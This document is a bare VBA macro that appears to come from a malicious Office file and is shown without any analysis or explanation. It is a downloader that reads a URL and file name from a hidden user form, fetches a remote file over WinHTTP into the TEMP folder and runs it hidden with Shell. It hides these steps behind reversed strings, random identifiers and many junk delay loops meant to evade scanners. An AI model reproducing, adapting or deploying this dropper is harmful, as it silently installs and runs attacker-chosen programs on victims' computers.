Sub FYFChvhfygDGHds()

Dim wxvAlfmPr As Integer
wxvAlfmPr = 1478
Do While wxvAlfmPr < 1478 + 10
wxvAlfmPr = wxvAlfmPr + 1: DoEvents
Loop
Dim hELSx As Integer
hELSx = 497
Do While hELSx < 497 + 10
hELSx = hELSx + 1: DoEvents
Loop
Dim UQdtuPRbyfI As Integer
UQdtuPRbyfI = 1280
Do While UQdtuPRbyfI < 1280 + 10
UQdtuPRbyfI = UQdtuPRbyfI + 1: DoEvents
Loop
Dim yFVHJBkdsf As Long
Dim EBMesNBKjdG As Integer
EBMesNBKjdG = 1868
Do While EBMesNBKjdG < 1868 + 10
EBMesNBKjdG = EBMesNBKjdG + 1: DoEvents
Loop
Dim vSzdta As Integer
vSzdta = 1819
Do While vSzdta < 1819 + 10
vSzdta = vSzdta + 1: DoEvents
Loop
Dim xMiVfC As Integer
xMiVfC = 211
Do While xMiVfC < 211 + 10
xMiVfC = xMiVfC + 1: DoEvents
Loop
Dim yfUIJKsdf() As Byte
Dim qJpNfrfdQpm As Integer
qJpNfrfdQpm = 667
Do While qJpNfrfdQpm < 667 + 10
qJpNfrfdQpm = qJpNfrfdQpm + 1: DoEvents
Loop
Dim DGbDHVgBOBoP As Integer
DGbDHVgBOBoP = 2357
Do While DGbDHVgBOBoP < 2357 + 10
DGbDHVgBOBoP = DGbDHVgBOBoP + 1: DoEvents
Loop
Dim UAvwu As Integer
UAvwu = 2025
Do While UAvwu < 2025 + 10
UAvwu = UAvwu + 1: DoEvents
Loop
Dim erDTFGHJkds As Object
Dim QtPou As Integer
QtPou = 1521
Do While QtPou < 1521 + 10
QtPou = QtPou + 1: DoEvents
Loop
Dim IUxQwUmMm As Integer
IUxQwUmMm = 2418
Do While IUxQwUmMm < 2418 + 10
IUxQwUmMm = IUxQwUmMm + 1: DoEvents
Loop
Dim ZNiYO As Integer
ZNiYO = 1673
Do While ZNiYO < 1673 + 10
ZNiYO = ZNiYO + 1: DoEvents
Loop

Dim wLPSKjyr As Integer
wLPSKjyr = 171
Do While wLPSKjyr < 171 + 10
wLPSKjyr = wLPSKjyr + 1: DoEvents
Loop
Dim BKiOsIpvO As Integer
BKiOsIpvO = 320
Do While BKiOsIpvO < 320 + 10
BKiOsIpvO = BKiOsIpvO + 1: DoEvents
Loop
Dim zOkYhE As Integer
zOkYhE = 2231
Do While zOkYhE < 2231 + 10
zOkYhE = zOkYhE + 1: DoEvents
Loop
pjIOHdsfc = UserForm1.TextBox1
Dim rBHDPghCEN As Integer
rBHDPghCEN = 1600
Do While rBHDPghCEN < 1600 + 10
rBHDPghCEN = rBHDPghCEN + 1: DoEvents
Loop
Dim zQfAoyV As Integer
zQfAoyV = 2311
Do While zQfAoyV < 2311 + 10
zQfAoyV = zQfAoyV + 1: DoEvents
Loop
Dim gyJyvpHEcL As Integer
gyJyvpHEcL = 1218
Do While gyJyvpHEcL < 1218 + 10
gyJyvpHEcL = gyJyvpHEcL + 1: DoEvents
Loop
dTYFidsff = Environ(StrReverse("PMET")) & UserForm1.TextBox2
Dim VbozThUG As Integer
VbozThUG = 2465
Do While VbozThUG < 2465 + 10
VbozThUG = VbozThUG + 1: DoEvents
Loop
Dim nUJeTKZ As Integer
nUJeTKZ = 2480
Do While nUJeTKZ < 2480 + 10
nUJeTKZ = nUJeTKZ + 1: DoEvents
Loop
Dim JpyzxCngnRfe As Integer
JpyzxCngnRfe = 26
Do While JpyzxCngnRfe < 26 + 10
JpyzxCngnRfe = JpyzxCngnRfe + 1: DoEvents
Loop

Dim RHnijhmYel As Integer
RHnijhmYel = 234
Do While RHnijhmYel < 234 + 10
RHnijhmYel = RHnijhmYel + 1: DoEvents
Loop
Dim KDKpC As Integer
KDKpC = 691
Do While KDKpC < 691 + 10
KDKpC = KDKpC + 1: DoEvents
Loop
Dim pfKFGE As Integer
pfKFGE = 1499
Do While pfKFGE < 1499 + 10
pfKFGE = pfKFGE + 1: DoEvents
Loop
Set erDTFGHJkds = CreateObject(StrReverse("1.5.tseuqerPTTHniW.PTTHniW"))
Dim ShCENYSvLey As Integer
ShCENYSvLey = 691
Do While ShCENYSvLey < 691 + 10
ShCENYSvLey = ShCENYSvLey + 1: DoEvents
Loop
Dim amCRZ As Integer
amCRZ = 1715
Do While amCRZ < 1715 + 10
amCRZ = amCRZ + 1: DoEvents
Loop
Dim xxkQyUhvdug As Integer
xxkQyUhvdug = 2240
Do While xxkQyUhvdug < 2240 + 10
xxkQyUhvdug = xxkQyUhvdug + 1: DoEvents
Loop

Dim lThGGiq As Integer
lThGGiq = 2441
Do While lThGGiq < 2441 + 10
lThGGiq = lThGGiq + 1: DoEvents
Loop
Dim wDiIuJNQI As Integer
wDiIuJNQI = 1931
Do While wDiIuJNQI < 1931 + 10
wDiIuJNQI = wDiIuJNQI + 1: DoEvents
Loop
Dim MUJpyzxCag As Integer
MUJpyzxCag = 1217
Do While MUJpyzxCag < 1217 + 10
MUJpyzxCag = MUJpyzxCag + 1: DoEvents
Loop
erDTFGHJkds.Open StrReverse("TEG"), pjIOHdsfc, False
Dim QOnQvgbPkbRf As Integer
QOnQvgbPkbRf = 565
Do While QOnQvgbPkbRf < 565 + 10
QOnQvgbPkbRf = QOnQvgbPkbRf + 1: DoEvents
Loop
Dim zyORUM As Integer
zyORUM = 646
Do While zyORUM < 646 + 10
zyORUM = zyORUM + 1: DoEvents
Loop
Dim IjUlo As Integer
IjUlo = 1038
Do While IjUlo < 1038 + 10
IjUlo = IjUlo + 1: DoEvents
Loop
erDTFGHJkds.Send
Dim PZaYdA As Integer
PZaYdA = 606
Do While PZaYdA < 606 + 10
PZaYdA = PZaYdA + 1: DoEvents
Loop
Dim YhEmOfLRltiN As Integer
YhEmOfLRltiN = 1765
Do While YhEmOfLRltiN < 1765 + 10
YhEmOfLRltiN = YhEmOfLRltiN + 1: DoEvents
Loop
Dim QFluvtyVck As Integer
QFluvtyVck = 864
Do While QFluvtyVck < 864 + 10
QFluvtyVck = QFluvtyVck + 1: DoEvents
Loop

Dim uwFdKoDkqJRH As Integer
uwFdKoDkqJRH = 357
Do While uwFdKoDkqJRH < 357 + 10
uwFdKoDkqJRH = uwFdKoDkqJRH + 1: DoEvents
Loop
Dim ReuJfSczuYaG As Integer
ReuJfSczuYaG = 2457
Do While ReuJfSczuYaG < 2457 + 10
ReuJfSczuYaG = ReuJfSczuYaG + 1: DoEvents
Loop
Dim OqyKnGmJcoc As Integer
OqyKnGmJcoc = 509
Do While OqyKnGmJcoc < 509 + 10
OqyKnGmJcoc = OqyKnGmJcoc + 1: DoEvents
Loop
yfUIJKsdf = erDTFGHJkds.ResponseBody
Dim wvQEV As Integer
wvQEV = 1632
Do While wvQEV < 1632 + 10
wvQEV = wvQEV + 1: DoEvents
Loop
Dim QzymmNViKe As Integer
QzymmNViKe = 1311
Do While QzymmNViKe < 1311 + 10
QzymmNViKe = QzymmNViKe + 1: DoEvents
Loop
Dim cjMaZp As Integer
cjMaZp = 2350
Do While cjMaZp < 2350 + 10
cjMaZp = cjMaZp + 1: DoEvents
Loop
Set erDTFGHJkds = Nothing
Dim zpUPQOT As Integer
zpUPQOT = 906
Do While zpUPQOT < 906 + 10
zpUPQOT = zpUPQOT + 1: DoEvents
Loop
Dim CVpkZE As Integer
CVpkZE = 2093
Do While CVpkZE < 2093 + 10
CVpkZE = CVpkZE + 1: DoEvents
Loop
Dim xYjdvfBlwByJ As Integer
xYjdvfBlwByJ = 2456
Do While xYjdvfBlwByJ < 2456 + 10
xYjdvfBlwByJ = xYjdvfBlwByJ + 1: DoEvents
Loop

Dim uhHerFnEqu As Integer
uhHerFnEqu = 32
Do While uhHerFnEqu < 32 + 10
uhHerFnEqu = uhHerFnEqu + 1: DoEvents
Loop
Dim sFffFObDQC As Integer
sFffFObDQC = 2423
Do While sFffFObDQC < 2423 + 10
sFffFObDQC = sFffFObDQC + 1: DoEvents
Loop
Dim RrgdQpmIfDJ As Integer
RrgdQpmIfDJ = 2188
Do While RrgdQpmIfDJ < 2188 + 10
RrgdQpmIfDJ = RrgdQpmIfDJ + 1: DoEvents
Loop
yFVHJBkdsf = FreeFile
Dim xPpPb As Integer
xPpPb = 1951
Do While xPpPb < 1951 + 10
xPpPb = xPpPb + 1: DoEvents
Loop
Dim xpOrVGCq As Integer
xpOrVGCq = 1805
Do While xpOrVGCq < 1805 + 10
xpOrVGCq = xpOrVGCq + 1: DoEvents
Loop
Dim KRwIIYcfQ As Integer
KRwIIYcfQ = 446
Do While KRwIIYcfQ < 446 + 10
KRwIIYcfQ = KRwIIYcfQ + 1: DoEvents
Loop
Open dTYFidsff For Binary Access Write As #yFVHJBkdsf
Dim CohoStfu As Integer
CohoStfu = 804
Do While CohoStfu < 804 + 10
CohoStfu = CohoStfu + 1: DoEvents
Loop
Dim owxvAYfmQd As Integer
owxvAYfmQd = 505
Do While owxvAYfmQd < 505 + 10
owxvAYfmQd = owxvAYfmQd + 1: DoEvents
Loop
Dim SVMmOueaNjZ As Integer
SVMmOueaNjZ = 931
Do While SVMmOueaNjZ < 931 + 10
SVMmOueaNjZ = SVMmOueaNjZ + 1: DoEvents
Loop
    Put #yFVHJBkdsf, 1, yfUIJKsdf
Dim IKrLQ As Integer
IKrLQ = 2145
Do While IKrLQ < 2145 + 10
IKrLQ = IKrLQ + 1: DoEvents
Loop
Dim EozFBM As Integer
EozFBM = 1476
Do While EozFBM < 1476 + 10
EozFBM = EozFBM + 1: DoEvents
Loop
Dim RACQzD As Integer
RACQzD = 3
Do While RACQzD < 3 + 10
RACQzD = RACQzD + 1: DoEvents
Loop
Close #yFVHJBkdsf
Dim VeTzuvtyj As Integer
VeTzuvtyj = 569
Do While VeTzuvtyj < 569 + 10
VeTzuvtyj = VeTzuvtyj + 1: DoEvents
Loop
Dim jTMTy As Integer
jTMTy = 235
Do While jTMTy < 235 + 10
jTMTy = jTMTy + 1: DoEvents
Loop
Dim oTOPNSDK As Integer
oTOPNSDK = 95
Do While oTOPNSDK < 95 + 10
oTOPNSDK = oTOPNSDK + 1: DoEvents
Loop

Dim GrkrVjiyB As Integer
GrkrVjiyB = 2335
Do While GrkrVjiyB < 2335 + 10
GrkrVjiyB = GrkrVjiyB + 1: DoEvents
Loop
Dim ogFiMK As Integer
ogFiMK = 1868
Do While ogFiMK < 1868 + 10
ogFiMK = ogFiMK + 1: DoEvents
Loop
Dim KfysiNQ As Integer
KfysiNQ = 1185
Do While KfysiNQ < 1185 + 10
KfysiNQ = KfysiNQ + 1: DoEvents
Loop
sjdhfbk = Shell(dTYFidsff, vbHide)
Dim jAOQYhFAdfLR As Integer
jAOQYhFAdfLR = 73
Do While jAOQYhFAdfLR < 73 + 10
jAOQYhFAdfLR = jAOQYhFAdfLR + 1: DoEvents
Loop
Dim tifZroLhFLHT As Integer
tifZroLhFLHT = 2083
Do While tifZroLhFLHT < 2083 + 10
tifZroLhFLHT = tifZroLhFLHT + 1: DoEvents
Loop
Dim LSkKJaPSK As Integer
LSkKJaPSK = 1429
Do While LSkKJaPSK < 1429 + 10
LSkKJaPSK = LSkKJaPSK + 1: DoEvents
Loop

Dim MhJOcmHUIu As Integer
MhJOcmHUIu = 1121
Do While MhJOcmHUIu < 1121 + 10
MhJOcmHUIu = MhJOcmHUIu + 1: DoEvents
Loop
Dim EspkBzV As Integer
EspkBzV = 1577
Do While EspkBzV < 1577 + 10
EspkBzV = EspkBzV + 1: DoEvents
Loop
Dim jwGcp As Integer
jwGcp = 2323
Do While jwGcp < 2323 + 10
jwGcp = jwGcp + 1: DoEvents
Loop
End Sub